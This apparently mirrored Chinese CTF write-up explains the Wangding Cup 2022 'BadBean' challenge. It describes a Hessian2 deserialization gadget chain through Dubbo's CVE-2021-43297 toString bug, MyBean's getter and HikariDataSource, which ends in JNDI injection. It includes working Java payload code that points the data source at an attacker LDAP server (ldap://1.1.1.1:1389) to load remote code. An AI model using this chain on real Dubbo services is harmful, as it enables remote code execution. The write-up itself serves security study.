2

网鼎杯2022 BadBean Hessian2反序列化

 2 years ago
source link: https://y4er.com/posts/wangdingbei-badbean-hessian2/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

网鼎杯2022 BadBean Hessian2反序列化

 2022-08-27  2022-08-27  约 1414 字   预计阅读 3 分钟 

com.ctf.badbean.bean.MyBean#toString可以触发getter

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/1.png

所以要找一个触发tostring的,给的版本是dubbo-2.7.14.jar,这个版本有一个任意tostring调用CVE-2021-43297 见https://paper.seebug.org/1814/

原理是在com.alibaba.com.caucho.hessian.io.Hessian2Input#expect有一处tostring调用

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/2.png

对象和string拼接触发tostring,那么可以用这个来触发mybean的tostring。

com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()

public String readString() throws IOException {
    int tag = this.read();
    int ch;
    switch(tag) {
    case 0:
    case 1:
    case 2:
    case 3:
...
    case 31:
        this._isLastChunk = true;
        this._chunkLength = tag - 0;
        this._sbuf.setLength(0);

        while((ch = this.parseChar()) >= 0) {
            this._sbuf.append((char)ch);
        }

        return this._sbuf.toString();
    case 32:
    case 33:
    ...
    case 67:
    ...
    case 127:
    default:
        throw this.expect("string", tag);
    case 48:
    case 49:
    case 50:
    ...
    case 253:
    case 254:
    case 255:
        return String.valueOf((tag - 248 << 8) + this.read());
    }
}

如果读到的tag不满足case,那么调用this.expect("string", tag);

在上图中,左边case2之后走了default,而右边case6没有走default,也就是说,我们只需要让tag走到default上没有条件的case即可。这里先取67,而不取别的值呢?

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.util.List<java.lang.Class<?>>)先拿到tag为67,进入case

case 67:
    this.readObjectDefinition((Class)null);
    return this.readObject();

readObjectDefinition调用readString

此时tag仍为67

而67会进入default throw this.expect("string", tag);中触发tostring。

也就是说,67满足了两个条件

  1. Hessian2Input#readObject中可以走到readString
  2. 在readString可以进入this.expect("string", tag)

所以这个67的值取得很巧妙。

接下来我们需要重写writeString函数对应readString,自定义序列化流程来赋予67属性。

然后写payload

package com.ctf.badbean.main;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.zaxxer.hikari.HikariDataSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HikariDataSource ds = new HikariDataSource();
        ds.setPoolName("pool");
        ds.setDataSourceJNDI("ldap://1.1.1.1:1389/TomcatBypass/TomcatEcho/1");
        Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
        Object o = new com.ctf.badbean.bean.MyBean("", "", ds, com.zaxxer.hikari.HikariDataSource.class);
        out.writeString("aaa");
        out.writeObject(o);
        out.flushBuffer();
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
        hessian2Input.readObject();
    }
}

通过writeString写一个aaa进去来赋予67属性。然后用mybean的tostring触发HikariDataSource的getConnection触发jndi注入,完整堆栈如下。

lookup:417, InitialContext (javax.naming)
initializeDataSource:328, PoolBase (com.zaxxer.hikari.pool)
<init>:114, PoolBase (com.zaxxer.hikari.pool)
<init>:105, HikariPool (com.zaxxer.hikari.pool)
getConnection:97, HikariDataSource (com.zaxxer.hikari)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:34, MyBean (com.ctf.badbean.bean)
valueOf:2994, String (java.lang)
append:137, StringBuilder (java.lang)
expect:3566, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObjectDefinition:2824, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2745, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
main:27, Main (com.ctf.badbean.main)

另外序列化时会报HikariDataSource没有实现Serializable接口的错误,直接重写com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer加上一行

本机校验罢了,神奇,over。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK